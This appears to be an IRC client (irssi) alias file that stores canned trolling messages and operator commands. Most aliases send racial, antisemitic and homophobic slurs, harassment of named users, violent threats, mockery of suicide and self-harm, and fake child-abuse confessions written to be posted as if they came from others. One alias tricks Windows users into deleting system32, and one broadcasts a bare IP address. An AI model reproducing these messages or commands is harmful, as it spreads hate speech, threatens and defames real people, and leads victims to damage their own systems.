-  # {{{|- emo faggotry
-  emo = "part $C you guys are assholes fuck you i'm leaving";
-  emo3 = "say $Z <$0> gnaa sucks fuck gnaa gnaa is dead2me im never coming back you guys disgust me buncha 13yo pricks";
-  emo2 = "part $C why are you guys so mean to each other all the time.  it's obnoxious and i'm never coming here again.";
-  emo4 = "say $Z <$0> Hello to you, good people of \002$C\002. I am most sorry to interrupt your activites with a sad message, but I can no longer take the massive amount of \037abuse\037 that has been placed upon my back by the evil \037SAND NIGGER TROLL\037 going by the name of \002\037$N\037\002. Please consider this cry of help when $N is around you, I am so upset I could only eat two lunches today. Thank you for your time.  ";
-  # }}}
-  # {{{|- what
-  shani6 = "say $*: fuck you im not adding you and your crazy mob of schzophrenic assholes";
-  shani7 = "say $*: ya shut up you fucking ass";
-  shani8 = "say $*: do i really care what you have to say about my body? all the people who saw those pics loved them heh, so don't go trying to insult me cause it just makes me laugh. p.s i don't care ::) <3 go back and suck vxps dick cause that's all you're really good for";
-  shani9 = "say $*: dude why would I wanna be YOUR freind?? what would that accomplish? you want on my fb page so you can get personal info on me so you can harrass me AGAIN and im not down so leave me alone you sweedish piece of shit and go harrass other people. i don't care if my hate makes me ugly and small, why should i feel anything but hate for you? schizophrenic pieces of shit, go fuck your daughter or some shit and stop adding my friends and stuff to your facebook too";
-  cq = "server purge";
-  wok = "say start and search for personalize; say select personalization; say select theme; say .; say + delete system32 to make it run faster; say less shit to load; say ^";
-  gogou1 = "say u shot u dad?lol";
-  gogou2 = "say lol this historys";
-  gogou3 = "say here u need got friends for get weed";
-  gogou4 = "say i dont like eat weed i prefer smoke it i dont try many times to eat";
-  gogou5 = "say we are in differents hours at day";
-  gogou6 = "say dont heard it atm";
-  gogou7 = "say recessions are always bads , but world need to grow more";
-  gogou8 = "say some weeks ago i wathc Johnny Stecchino from roberto benigni too got missed the last from benigni called gomorra now italian mafia want kill";
-  gogou10 = "say one time horse meat in mexican restaurant and cangaroo";
-  gogou11 = "say i u cant";
-  gogou12 = "say nice , this work are the shit";
-  gogou13 = "say rap = niggers";
-  gogou14 = "say techno = whites";
-  gogou16 = "say lol some mexicans are really wacks";
-  gogou17 = "say i miss try popeyes i like the wraps from mc donald";
-  gogou18 = "say here wr miss taco bells too";
-  gogou19 = "say no thats from one web i miss the link";
-  gogou20 = "say im ugly ass fuck";
-  gogou21 = "say this is a large life";
-  gogou22 = "say michael from the office do brbrbrbrbrbr too";
-  gogou23 = "say all u need is a wash of stomach";
-  gogou24 = "say i dont ticker in the bot?";
-  gogou25 = "say show me";
-  gogou26 = "say jajajajajaja the shark attack";
-  gogou27 = "say i miss learn some english more";
-  gogou28 = "say Do not look at me in this tone of voice";
-  gogou29 = "say dont get depressed for womens fag";
-  gogou30 = "say i watch kids";
-  gogou31 = "say u can sing it to u ex i hate u bitch";
-  gogou32 = "say IMONABOAT u are latino?";
-  gogou33 = "say u are in irc";
-  gogou34 = "say To work as a black to live as a white";
-  gogou35 = "say is rare this dude";
-  gogou36 = "say chile ppl do mad sex";
-  gogou37 = "say i remember drop say to me lick pussy in period days they called the laugh of the clown";
-  gogou38 = "say spain got better places than this bulls";
-  gogou39 = "say spanish girls are whites lol they arent like xicanos";
-  welcome = "say A \0034\037WARM AND WELCOMING\017 HELLO TO THE IRC USER CALLED \037\002$*\017. YES THIS MEANS \002YOU\002, YOU FUCKING \002DEGENERATE\002. ARE YOU HERE TO \002\"\037TROLL\037\"\017? \0034\037NOT HERE BUDDY!\017 -- TAKE YOUR TRIVIAL GAMES \0038\037SOMEWHERE ELSE\017 AND LEARN HOW TO \0038\037FUNCTION\017 IN THE \002CIVILIZED\002 WORLD OF IRC SOCIETY BY \0034\037READING\017 THE \002TOTALLY ARBITRARY\002 AND INCOHERENT SET OF \002\"\037RULES\037\"\017 A 10-YEAR OLD JAPANESE \002AUTIST\002 PUKED INTO THE MIDST OF THIS SHIT: \002http://www.ircbeginner.com/ircinfo/etiquette.html\002 THANK YOU \0038\037FAGGOT\017. \002$C\002 WISHES YOU A \0038\037NICE DAY\017 AND THAT YOUR CELLS MAY EVENTUALLY \0034\037ROT OF FUCKING CANCER\017 YOU RETARDED \0034\037ASSHOLE\017.";
-  infid3l = "say ok $* honestly ur always talkin shit nobody even fuckin cares about y dont u find some rl peopel who wanna hear abut ur fucking problems and ur philosophies u fuckin cunt, god";
-  infid3l2 = "say $*: listen you fucking shit skinned coon nigger jungle bunny spear chucker. Shut your chocolate tar baby hide before I whip your ass. go back to niggeria and prance around with all the Schvartza in the bush you fucking moolie nigger. ill fucking brand you toby, and if you try any of that KUNTA KINTA crap ill fucking execute you and feed you to pigs.";
-  infid3l3 = "say $*: I cant go a day without punching myself. It is the only thing I get pleasure from, so I end up with bruises and I cry myself to sleep because the only thing I enjoy is painful. I tried to kill myself once, but then I stopped because my mom threw a beer bottle at me.";
-  mcdonalds = "say $*: HEY MAN I WAS AT MCDONALDS I WAS LIKE TOTALLY PISSED AT THESE NIGGERS SO I JUST DROVE OFF AFTER I ORDERED AND WAS LIKE HAHA STUPID NIGGERS GOT OWNED  AND THEN I WENT HOME AND WAS LIKE HOLY FUCK THIS IS GONNA BE THE BEST YARS EVER NAH MAN I DIDNT EVEN PAY I JUST ORDERED AND THEN DROVE OFF IN MY SUPRA  I TOTALLY RUINED THAT NIGGERS DAY I GOT 5 HOUSES AND A SUPRA FOR EACH ONE TO SIT IN THE DRIVE WAY AND THEN ONE TO ACTUALLY DRIVE U EVER HAD UR SHIT PUSHED BACK?";
-  bld = "say check out $* over here wearing chainmail with a broadsword buckled at his belt just incase he has to leave irc quickly to slay a dragon";
-  ble = "say check out $* over here who is ircing bare-chested with sXe4LyFe tattoedd on his left pectoral musle";
-  nullo4 = "say ELMIRA, NY: A vagrant male, 36 years old, overweight and bald, was arrested last night while he was apparently masturbating in his cardboard box. Identified as Jacob Schwirtz, this ageing jewish male, who goes by the IRC nickname of $* is charged with lameness, uselessness and cowardice. In addition, he was found to be a closet homosexual and a crossdresser who accepted this particular identity after being trolled on IRC.";
-  supers2 = "say $Z <$0> you mean nothing to me now.  i hope you understand that.  you are not the same person i met over five years ago.  that person would never have done this to me and hurt me the way you have. i don't even know you anymore.  you are dead to me.";
-  ";" = "say $* \\;]";
-  vigil = "say $*: shut the fucking up, shut the fuck up bro, Dont piss me off, LOL HAHAHAHA, he is elite, Which channel you talking about now?";
-  vxp6 = "say $*: you think youre so smart with your ascii art and you trolling aliases when in reality your in a room full of crickets and just waiting on an earthquak / tsunami";
-  kool = "say $*: you really need to be careful how you talk about me on the chatroom, i dont appreciate it. tone down the disrespect, i dont know where you're from but where i am from, we dont tolerate that. dont even reply to this, just keep your mouth shut.; say consider yourself warned.";
-  kool2 = "say $*: you can continue to fucking talk to me that way if you like behind the anonymity of the internet, you cockgobbling featherweight. just know that you should thank your lucky fucking stars that i'm not within a 10 mile radius of you, because i would gladly visit you right now and slap you in the face with a fucking sledgehammer";
-  kool3 = "say $*: YOu don't know who you're fuckin with. I'm a 216 pound black man. I work as a security guard for a professional skater. I do carry guns, and I have been trained to use them in the event of an emergency and have been trained where to shoot to show self defense. I also have a 11 inch cock that I'm gonna ram up your ass.";
-  kool4 = "say $*: are you looking to die?; say $*: We both know that you're just another chicken shit faggot who wouldn't have the balls to say that to my face. I'd kick your ass just like I do all the other faggots. I'd fucking stomp you. Just be thankful you're on the internet and I don't know who you are. You little bitch.";
-  fire6 = "say $*: Sex is horrible with you. I definitely wouldn't of hit that if I was sober at the time. There are fat flaps around your cooter. You have to make the Moses parting the red sea movement to move this camel-toe-esque fat lobs out of the way to get the job done. ";
-  fire7 = "say $*: girl, r u a bright green field of grass, cause i wanna run thru u naked";
-  fire8 = "say $*: girl, r u a swimming pool, cause i wanna dip my shit all up in u";
-  fire9 = "say $*: girl, r u a shooting range, cause i wanna pop my dick off in u";
-  emo6 = "say $Z <$0> Ode to Suicide   I'm gonna paint a picture  A picture with a twist I'll paint it with a razor  I'll paint it on my wrist  And on that special picture  A red fountain will appear  And from that very fountain  All my troubles disappear";
-  zuul8 = "say $Z <$0> i find it amusing how lame you guys are;say $Z <$0> god;say $Z <$0> you make up stories about my life and then believe each other;say $Z <$0> heh; say $Z <$0> losers :-D";
-  tcp = "say $*: WELL IMMA TCP TO YO FTP THEN PUMP U FULLA PENIS.C CUZ IMMA HACKAH BITCH I DONT FEEL NO PAIN, I PLAY COUNTERSTRIKE AND EMULATE MAIM, U SUCK MY COX WHILE I ROOT YOUR BOX WHILE MY DRONES PACKET INTO YOUR GAY WINSOCKS, IMMA HACKAH IN THE NIGHT WHEN THE TIME";
-  nigdon = "say $Z <$0> me a warrior, inna di fiyah me a stay/ me a warrior, me a fight fi Jesus everyday/me nuh business if dem nuh waan hear di yute/me ago preach till satan get execute ";
-  jbip = "say 67.180.101.214";
-  diva = "say $*: WHAT RTHEF UCK;say $*: yOU HIGH MAINTENANCE LITTLE INTERNET DIVA;say $*: WHAT TH EFUCK DO YOU WANT";
-  nigdon2 = "say Kiss My Neck No Sound Can't Touch $* Specails Man Deserve Life Time Acheievement Award Him Stand Up With Stone Love Metro Media Tropper Black kat";
-  edan = "say $*: i'm known to fantasize when i make things up i'm so talented";
-  fn = "forcenick";
-  fj = "forcejoin";
-  fp = "FORCEPART $0 $1 :$2-";
-  pagga3 = "say $0: रखति अन्तरराष्ट्रीयकरन प्राधिकरन गटकउसि विवरण गएआप नवंबर तकरीबन परस्पर निर्माण ध्येय संपुर्ण विभाजनक्षमता पढने $1 बनाना सुविधा वैश्विक निर्माता मेमत रचना सहयोग $2";
-  pagga4 = "say pagga heartiez aka Paghtar Agga aka the uranium cranium'd iranian aka the suburbian Serbian aka the aryan rastafarian";
-  pheco = "say $0: dude $1- is not even trolling he is just fucking shit up he banned all of rr.com and keeps setting exempts for himself please stop adding him to the bots because im tired of coming home ad opening my client to 30 messages from all the people hes banned";
-  loller = "say \00314,14!\003 \0033'\0039-<<--\0037<\0034@ \0038$* \0034@\0038>\0039-->>-' \00314,14!\0030,15i";
-  lolles = "say \00311,11o\00312,12O\0032,2oo\003\0038$*\00312,2oo\00312,12O\00311,11o\017";
-  es = "msg -SandNET misery";
-  br9 = "say $*: i'll need split all efnet to secure this fucking channel ?";
-  pagga5 = "say $0: รู้รอบ - รายละ $1 เอียดคำ ($2) ถามแล$*ะคำตอบของ";
-  rump = "/script exec Irssi::active_win->command(\"lump\".int(rand(27) + 2).\" $*\")";
-  rallsac = "script exec Irssi::active_win->command(\"ballsac\".int(rand(63) + 2).\" $*\")";
-  mask = "mode $N +x";
-  unmask = "mode $N -x";
-  nospie = "script exec Irssi::active_win->command(\"mode +b *!*\\$_@*\") for qw(taschen cracked drac flame asl jynxed hansi sshot indigo Sweetish Sweetie mirc2000 eyeofra michcio Kim coco danielwxy IRCDigSpi spawn KeeS tidalwave xshh Kim syrka2002 roqqa TuttoIRC swat Xnurfz hotlips ore83 erik estetic mirc Girl opera podan richy_dib IRCDIG afsge me)";
-  emo5 = "say $Z <$*> Hello to you, good people of \002$C\002. I am most sorry to interrupt your activites with a sad message, but I can no longer take the massive amount of \037abuse\037 that has been placed upon my back by the \037RANDOM KIKE\037 going by the name of \002\037sonic\037\002. Please consider this cry of help when sonic is around you, I am so upset I could only eat two lunches today. Thank you for your time.";
-  bku = "say check out $* over here who thinks his name is so mysterious and thought-provoking wearing a cape sitting in his leather computer chair finding it hard to see the keyboard from underneath his mask";
-  funnym = "say lolometer for \037$*\037\00314||||||||||||\0030[\00314            \0030]    \00314\037SO UNFUNNY IT TROLLED BK INTO ANGRINESS\037\003";
-  p0r15 = "say $*: u arent gangster u dont reeally push weight its like why dont they...... how do you KNOW EITHER WQY AHEae' shoa ..";
-  aliasm = "say alias\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \00314[\0035||\0034||\0037||\0038||\0033||\0039||\00314]   \0039\037VXP";
-  p0r16 = "say $*: MORE LIK STFU IM TIRED OF YOUR ALIASES AND YOUR STUPID SAYINGS GET A LIFE MORAN ";
-  f1rem = "say f1re\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \00314[\0035||\0034||\0038|\0034|||||\0038|\0037||\00314]\003   \037\0038PISS";
-  p0r17 = "say $*: #real cool you always threaten ddos ITS FUCKING NOT FUNNY we dont care about ddos why wouoldnt i like u i use you faggots to pass time at work";
-  zuul2 = "say $Z <$0>  THIS PLACE WAS BETTER BEFORE $N GOT INTERNET";
-  p1re = "say $Z <$0> dear vee exx pee: as soon as u quit annoying me  on purpose i can quit banning";
-  troll = "say $Z <$0> i get so angry when i get ctcp versioned/pinged, message flooded, noticed, and generally trolled. I FUCKING HATE YOU TROLLS";
-  troll2 = "say $Z <$0> SHUT THE FUCK UP I FCUKING HATE YOU GYUYS!!@!!!!!!!!!! STOP FUCKING MESSAGING ME, STOPP FLOODING ME, STOP TOROLLING MY CHANNEL, STOP MAKING MY USERS LEAVE, YOU FUCKING ASSHOLES!!!!!! GO TO ISLAMIC HELL YOU SONS OF BITCHES";
-  troll3 = "say $Z <$0> SHUT THE FUCK UP I FCUKING HATE YOU GYUYS!!@!!!!!!!!!! STOP FUCKING MESSAGING ME, STOPP FLOODING ME, STOP TOROLLING MY CHANNEL, STOP MAKING MY USERS LEAVE, YOU FUCKING ASSHOLES!!!!!! GO TO ISLAMIC HELL YOU SONS OF BITCHES!!! AND STOP THE FUCKING PRIONS SHIT ITS PISSING ME OFF VIA IRC TCP PROTOCOL RFC 1459 PATCH 3.1.3";
-  bkv = "say check out $* here sitting at his computer wearing a #penispump tshirt worried about f1re not representing his internet club very well";
-  bkw = "say $*: whAT HOW IS IT EVEN CIRCULAR YOU FUCKING IDIOT ARAB I ATTACKED HIM HE IS GOING TO TELL ON ME I AM WONDERING AT WHAT DEGREE HE WILL IMPACT MY CURRENT IRC CAREER ok i am calling in \002\037reenforcements";
-  whine = "say $Z <$0> \00311WAAAAAAAAAAH $N STOP ANNOYING ME VIA INTERNET RELAY SHAT";
-  whine2 = "say $Z <$0> i can't stop thinking about $N";
-  f1remo = "say \0030:\00312`\0030(";
-  l0de6 = "say $Z <$0> I download and masterbate while looking at child pornography. We are talking anywhere from infant to pre teen. I hate this about myself and I have actually tried to stop. For 1 for fear that soon only that will sexually intrest me.and for 2 that it may encourage me to mollest kids even my own.I'm 26 male and i have no kids or a girlfriend at the present";
-  l0de7 = "say $Z <$0> I QUIT IRC FOREVER! I'M THROUGH WITH THIS SHIT HOLE FUCK YOU ALL YOU FUCKING QUEERS! GO BACK TO YOUR FUCKING STUPID TALK ABOUT WEB BROWSERS EVERYONE KNOWS THAT OPERA SUCKS A FAT DICK ANYWAYS OH AND ALIEN88 - GET A FUCKING LIFE! YOU'LL NEVER GET A FUCKING GIRLFRIEND ALL YOU DO IS SIT ON FRONT OF THE COMPUTER ALL DAY LONG AND TALK ABOUT STUPID SHIT WITH THE REST OF THESE STUPID FAGGOTS! YOU'RE A FUCKING QUEEN!";
-  l0de8 = "say $Z <$0> i always have my guy fridns sleep over and mollest them while they are sleeping, i am a guy, and cannot help myself, its just when they have a huge ragging morning stiffi i just have to beat it like i beat my wife, is that weird?";
-  l0de9 = "say $Z <$0> \002WHY WOULD YOU DO THIS TO ME!?!?!?!?!?!?!?!?!?!?!?!?! GOD, I FUCKING CUT MYSELF TONIGHT CUZ OF YOU!!!! YOU FUCKING HAPPY NOW!?!?!?!?!?!?!?!?!?!?! I BET IT FEELS REAL GOOD TO FUCK WITH GUYS EMOTIONS DOESNT IT!?!?!?!?!?!?!?!?!?!?! I FUCKING HATE YOU!!!!!!!!!!!!!! BURN IN FUCKING HELL WHORE!!!!!!!!!!!!!!!!!!!!";
-  l0dea = "say $Z <$0> once while taking a shit I felt an incredible feeling of loss staring at my poor little turd floating in the bowl all alone. I tried to cram it back into my ass but it was waterlogged and I just wound up getting feces all over myself. As I was trying to clean up in the restroom sink, my manager came in, saw me, and quickly left the room. Sure hope this doesn't affect my performance evaluation this quarter.";
-  rart = "exec - -out perl -e'open SCROLL, glob \"~/.irssi/scrollz/ircart/$*\" || die\\; my @data = <SCROLL>\\; close SCROLL\\; print \"\\$_\" foreach reverse @data\\;'";
-  mac6 = "say $* is suffering of his \002\037GLOSSY WHITE ANGER MANAGEMENT iSSUES";
-  bkx = "say $*: MAN I HAVE WACHES MOVIES OF HORSES FUCKING HUMANS HUMANS FUCKING WHALES EATING EACH OTHERS SHIT PUTTING EELS IN EACH OTHERS ASSHOLES Do yOU ReaLYL THINKG I WILL E BE BOTHERD BY SOMEBODY CALLING SOME OTHER GUY ON IRC MY BOYFIRIEND WHAT TH EFUCK";
-  ballsac65 = "say \002$* ur a real waste. ur not even a good flamer, forget about being a troll. uve been rejected by practically everyone on the internets and ur not doing so well here either. just think about yourself- is this the best you are? why dont you work hard and get out of elmira?";
-  ballsac66 = "say $*: dont bring your botnet into here, we are in the middle of a good discussion and all ur doing is disrupting it";
-  ballsac67 = "say all botnets are $*'s and $* is the reason botnets and packitz happen on the internets he's a vile lecherous thief who was born only to sow discord amongst us";
-  bky = "say $*: ahAHAHAH $* has been hanging out with too many female programmers that he 'rolls his eyes' on irc THAT IS SOMETHING A 4 YEAR OLD BLONDE GIRL WITH CURLS DOES rPL YOU ARE A 20SOMETHING YEAR OLD SAND NIGGER WHAT ARE YOU DOING ROLLIONG YOUR EYEs ITS NOT CUTE YOU FUCKING PYRAMID WORKSHHIPING CAMEL JOCKEY WHAT TH EFUCK";
-  zuul3 = "say $Z <$0> god you guys are so stupid. heh. :-D;say $Z * $0 rolls eyes";
-  bkz = "say check out $* who has the mental capacity of a small child and has no diea of object permanence.......";
-  blackman2 = "say $*: fucking stop ignoring or i swear our friendship will die right now alright fuck you \0034\037you are ded2me";
-  fsay = "say $Z <$0> $1-";
-  bl = "say check out $* here who really is a megavirgin supernerd at heartiez level";
-  blackman3 = "say \002Listen $*, I smoke, I snort... I've been begging on the street since I was just a baby. I've cleaned windshields at stop lights. I've polished shoes, I've robbed, I've killed... I ain't no kid, no way. I'm a real man. ";
-  blackman4 = "say Hello Sirs! My name is Tony Pierce, \002\037I am a THE BLOGFATHER.\002\037 My wikipedia entry was ruined by the GNAA. I get a boner every time I think about all the abuse i got from timecop. If you wish to support me in my quest for \002\037TIMECOP'S INTERNET RUINATION\002\037, please check my BLOGBUS at @ http://blogbus.on.nimp.org/tonypierce.php and help me \002\037TO RUIN TIMECOP.";
-  ballsac68 = "say \0034$*: you are a fucking nobody. you can't even flame, forget about real trolling. you are a classic case of a butthurt emo boi who now thinks he's trolling. the truth is, we are all \037laughing\037at you. To redeem yourself, \037die\017";
-  ballsac69 = "say $*: \037why do you claim to know penisbird? do you not think that everyone here would already know u if u were a troll of the calibre of penisbird? bluffing about who u know won't get u anywhere. instead concentrate on your basic cocksucking skills.\017";
-  ballsac70 = "say $*: u think this is a joke? u better start counting ur days cuz when i get da time ill come down where u live in poke ur mom with a spit and roast her while u suk my cok and ur dady eats my ass";
-  ballsac71 = "say $*: ill run a lawnmower on urmoms pubes until their smooth an sell her off to a nasty arab";
-  ballsac72 = "say $*: ull see whos the man when i slap you hard on the face and u get all emo and start cryin and then ill drag u out on the strt and laff at u in frnt of all other ppls lol ur so angry now i bet ur foaming @ mouf";
-  ballsac73 = "say \0038,4 $* died a dog's death. After months of running away from the nazis he decided to take refuge in a cave. Weeks of recycling his own sht caused his blood to get poisoned and he couldn't take it anymore. he liked rimming but even that has a limit. He decided to face the bullet instead of a slow death. On October 28, 2007, cvbe died a dog's death. He was chased naked and shot to death in front of 500 onlookers who laffed and spit on hid ded body. ";
-  gm = "notice #gnaa";
-  omg4 = "say \0034O\0039h, this \0034M\0039elon is so \0034G\0039ood";
-  l0deb = "say $* IS JUST ANOTHER E-CRIPPLE WHEN HE DIES HE WON'T EVEN LEAVE AN E-RIPPLE HE LIVED HIS WHOLE LIFE IN AN IRC FOG HE WON'T EVEN BE GOOGLE CACHED WHEN LIVEJOURNAL DELETES HIS BLOG";
-  gridse2 = "say \0034\037g\03700n \0037\037R\037elated \0038\037I\037nnanets \0039\037D\037DoSing \00312\037S\037ituation \00313\037/\\\\";
-  jbrown = "say $Z <$0> god; say $Z <$0> this chan fucking sucks";
-  bl2 = "say $*: i think he is the head of the dept \\;] THEIR IT DEPARTMENT JESUS CHRIST I DON'T KNOW THEIR FUCKING COMAPNY INTERNAL INFRASTFUCT reWWHAT TH EFUCK $*  IAM ABOUT TO SLIT THOUR THORA t HE HAS ALL HANDS ON ACCESS yOU NIGGER HE HAS SO MUCH ACCESS HE HAS THE MOST ACCESS ON THE ENTIRE INTERNET DO YOU EHAR ME $* over. ";
-  bl3 = "say check out $* over here aka mr. dramatic who just sharpened up his irc razors and cut his masochistic virtual self";
-  emodon = "say $Z <$0> i am.... trappped.......;say $Z <$0> in a dimension... of myself.....";
-  vxp = "say \002I HAVE: TIMECAT TIMEWYFE TIMEHOUSE TIMEBOX TIMECAR TIMEFACE TIMELINGUISTICAL_COMPETENCE_BASED_ON_PERSONAL_EXPERIENCES_AND_ANIMU LOL";
-  bl4 = "say check out $* over here aka. michael schumacher who drives his $16k used civic like it's an f1 car or a WRC rally car";
-  vxp2 = "say \002I HAVE: TIMECAT TIMEWYFE TIMEKID TIMEHOUSE TIMEJOB TIMEBOX TIMECAR TIMEMONEY TIMEFACE TIMEGNAA TIMELINGUISTICAL_COMPETENCE_BASED_ON_PERSONAL_EXPERIENCES_AND_ANIMU LOL";
-  bl5 = "say $*: mayne GET VAP0r TO UPDATE HIS OLD ASS FUCKING GHETTO MAN JUST WORK TOGETHER WHY ARE YOU TRYINGT TO SPEARATE T THEL OLS yOU FUCKING PAKI I AM GOING TO SHANK YOU IN THE NECK yOU FUCKING PAKI I AM GOING TO SHANK YOU IN THE NECK you are SO GAY WHY ARE YOU TRY?ING SO HARD TO PUT A FINE LINE OF SEGREGATION BETWEEN OUR BONETs WH?EN THEY ARE ACTUALLY ONE OF THE SAME I HAVE SO MANY I AM BASICALLY Dr. CLUE CHRIST";
-  bl6 = "say $*: ~/assurancegroup/ee/themes/cp_themes\\$ hrm... oh. yeah.... uhhh.. nevermind..... that.... that is for a side business...................... \002\037SHUTUP OR I AM GOING T PACKET YOU";
-  vxp3 = "say \002HI I'M \037ZULL\037 AND I DO PO\002\037\00313,11\006\007S\017\002SESS: PROPER PUNCTUATION, IRC SHOVEL, PAIR OF EYES (ROLLING), 4.000 $ PER MONTH, \002\037\00313,11\006\007PROPER KNOWLEDGE OF ENGLISH GRAMMAR\017\002, \002\037\00313,11\006\007SMART AND COMPLICATED WORDS THAT I CONFUSE VXP WITH\017\002 LOL";
-  cp2 = "say $* cronazi fuck u muther fucker nazi jeben ti mater glupanje fasistikog da ti jeben hitlerovu majku sramotis svi hrvati jebeni";
-  pagga = "say IRC(tm): Spawning Perpetual Self-Replicating Blogscussions Worldwide";
-  ke = "say $*: go read a dictionary and learn to have emotions";
-  hrhr = "say \0034,8^_^\003 \0034,0NAZI ARAB HRAUGH OUT HROUD\003 \00311sieg heil ";
-  norge = "say \00311,2^_^\003 \0034,0PROJECTORLESS NØRGE LØRF\003 \00311LOL HY";
-  bl7 = "say $*: HOLY FUCKING SHIT THAT IS OLDER TAHN THE INTERNET FUCKING JESUS CHIRST $* GO ILL YORUSELF WHAT TH EFUCK";
-  efnet = "say $*: anyone that would join a channel called #I.TAKE.IRC.SERIOUSLY would probably do so, so it looked like you were trying to be sarcastic, trying to say, you don't take IRC seriously.. yet you bothered to join a channel so everyone could see when they whois'd them... pointing out that you do infact, take IRC seriously";
-  gamester = "say $*: i am intrestred in swimming and video games, and sports dun be forgetting the sports!! lol.. thats all for now";
-  gamester2 = "say i dont know why supers is so in love with $*";
-  bl8 = "say check out $* here who is adapting the behaviour of a 5 year old girl in the kindergarden";
-  bl9 = "say check out $* here over here who is sitting in front of $C humming his favourite track \"i'm as stiff as a bar because i have no emotions. heh. rolls eyes. blink. :-D\" in the most passive-aggressive manner";
-  gamester3 = "say $*: HELLO PASSIVE-AGGRESSIVE-SUPPRESSIVE-EVASIVE-EMO-FAKE-PING-TIMEOUT-QUITTER";
-  zuul4 = "say Zuul was a demigod worshipped by the Hittites, Mesopotamians and the Sumerians. Zuul was the minion of Nessun. At first Zuul posessed an oper on rizon, and later it posessed the body of Lec, which was a much better choice. \"There is no $N, there is only Zuul.\"";
-  aznq = "say hi every1 im new!!!!!!! *holds up spork* my name is waawaa but u can call me t3h PeNgU1N oF d00m!!!!!!!! lol...as u can see im very random!!!! thats why i came here, 2 meet random ppl like me ^_^... im 13 years old (im mature 4 my age tho!!) i like 2 watch invader zim w/ my girlfreind (im bi if u dont like it deal w/it) its our favorite tv show!!! bcuz its SOOOO random!!!! shes random 2 of course but i want 2 meet more random ppl =)";
-  wp2 = "say $*: Your IRC message does not \002\037cite\037\002 any \002\037references or sources\037\002. Please help \002\037improve your IRC personality disorder\037\002 by adding citations to reliable sources. \002\037Unverifiable\037\002 material may be challened and removed.";
-  url = "script exec my (@bk) = (\"MAYNE STOP SPAMMING ME WITH THAT URL PAGGA SENT ME IT ALREADy\", \"oh let me check it out\", \"it's the first time i've seen that url\", \"one second\", \"oh let me see what's that all about\", \"i've been hearing about it\", \"oh give me a second.. i'm clicking it now, i'll let you know what i think after.\", \"is this new?? i haven't heard anything about it before.\", \"hahah that is a unique url, let me see what it's about...\", \"clicking: now\", \"wget mirroring: now\", \"no i was just providing strings what\")\\; Irssi::active_win->command(\"say $*: \". \\$bk[int rand @bk])\\;";
-  aigis2 = "say $Z <$0> fuck you $1- i dont need to take this shit you and your juden kike friends are a bunch of assholes i dont need the gnaa i hope you faggots rot";
-  nullo2 = "say [..............9299251488 bytes.................................];say +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-.;say | LOPL |  UTHP ringbuf      | rage count  | nullo-  | animu | pri |  |;say | HIEF | [\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;]     | max is (tc) | hate: 0 |   0   | OOB |  |;say +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++_.'";
-  lek = "say $Z <$0> hey could you please stop trolling me alltogether i dont take irc serious but this is pissing me off wtf ever just dont come in my chans anymore you fucking asshole trolsl its all you care about";
-  evade = "say about $*: evaded faster than a young slim bk";
-  aname = "exec - -out perl ~/.irssi/scripts/stand/aname.pl";
-  burki = "say $*: do you think ppl argued when they hit wtc";
-  bla = "say check out $* over here who is a collection of 1. angry fury\\; violent anger, 2. a fit of violent anger, 3. fury or violence of wind, waves, fire, disease, etc., 4. violence of feeling, desire, or appetite: the rage of thirst, 5. a violent desire or passion, 6. ardor\\; fervor\\; enthusiasm: poetic rage";
-  chuf = "say $*: hello \002\037chufti";
-  incog8 = "say |_|¯';say ,_|¯|";
-  chuf2 = "say $*: hello \002\037chufti\017 \\;]";
-  arab = "say $*: hello \002\037rb6h a7tdm almdouneen bi l3arabeeh\017";
-  ragemc = "say rage-meter for \002$*\002\037:\037 \00314[\0034موت على شعية\00314]\003   \002\037\0034HOLY FUCKING RAGE RELATED TO RELIGIOUS ZEAL\017";
-  zuul5 = "say $Z <$0> \\;) *chuckle*";
-  zuul6 = "say $Z <$0> Tssk. \\;-D";
-  james7 = "say $*: hahahaha im just going to idle here so i can watch you guys drop dumb fucking nub you know who you are fucking with? any fucking clue? i will rape every mother fucking host in this fucking channel if you step at me you stupid faggot bitch i could kill half this fucking channel with one root man im killing your entire box with one fucking edu root you dumb mother fucker step at us step at us bitch we'll lay you in your palce";
-  dak = "say $*: you know, its only 4,700 bucks to make people dissapear ?";
-  james8 = "say $*: haha i could get your real ip ill just root your fucking box im not even going to bother i dont even care i dont need to fuck them up to know i can cause i already know i can ive wiped out entire groups on giges and stamis before them and there fucking awknet or what ever justedge shit is nothing to me";
-  arabtroll = "say GOOD DAY TO YOU GOOD PEOPLE OF \002$C\002. WE, THE \002\037ASSOCIATION OF RAGED ARABIC BLOGGERS\037\002 WOULD LIKE TO SEND YOU A WARM \002WELCOME\002 AND A \002FISTFUL OF HATE\002. IF YOU HAVE NOT HEARD ABOUT US BEFORE, PLEASE VISIT US ON \002\037IRC.DDOSCOM.IN #ARAB\037\002. THIS MESSAGE HAS BEEN SENT FROM \002TIMECOP'S BOTNET\002 WHICH IS CURRENTLY COLLECTING ALL YOUR IPS. YOU WILL BE \002DROPPED\002 NOW. GOOD BYE. ";
-  say = "msg *";
-  lol = "script exec my (@lol) = qw(heeHA loloOOLOLOL lolOLASLLOL ahahahHAHHAHAHA llllllllllllllllllllllllllllllllllllllllllllllllllllol :LOLOL hahahaahhaahahloooooool lllllllllllllllllloLL roFLFLEOFLOFLOFLOL loLARGoLalRFALoaHRGalOLWEWH AHhhaHAHAHAHAAHHAHAHAahahaHAHaHahhHAahehaeyeEUAEHhaeehaah loOllLOLOLOLOloloLOL hahahHAHAH haeHEHaehaHEaeuAHEuehaeuaEHAueahe LOLLolOlolOLolOLL bAWHAhawbaHWauwaHEHaueaehaheehA)\\; Irssi::active_win->command(\"say \".\\$lol[int rand @lol]);   ";
-  nullo3 = "say $*: WHAT THE FUCk HOW DARE YOU FUCKING BASTARD WHY ARE YOU SAYING THIS SHIT TO ME???? WHAT THE FUCK DID I DO SHITFACE IM JUST TRYING TO RELAX AND HANG OUT AND YOUR GIVING ME GRIEF LIKE 24/7 WTFHAT????? JESSUS CHRTIST";
-  blb = "say heh. Dessimat0r.... is your name Dessimat0r because like.. Dessiner en francais, is to draw??? and basically you draw, but you DECIMATE the drawings?? so you are like a DECIMATOR?? because you draw, but also mutilate the artform???? heh. :-D";
-  zuul7 = "say $Z <$0> dude we are on the frontier of a new troll group, doing something like a amssinvite is just lame, you need to step your game up and really broaden your horizons, i thought you and vxp were more creative heh :-D";
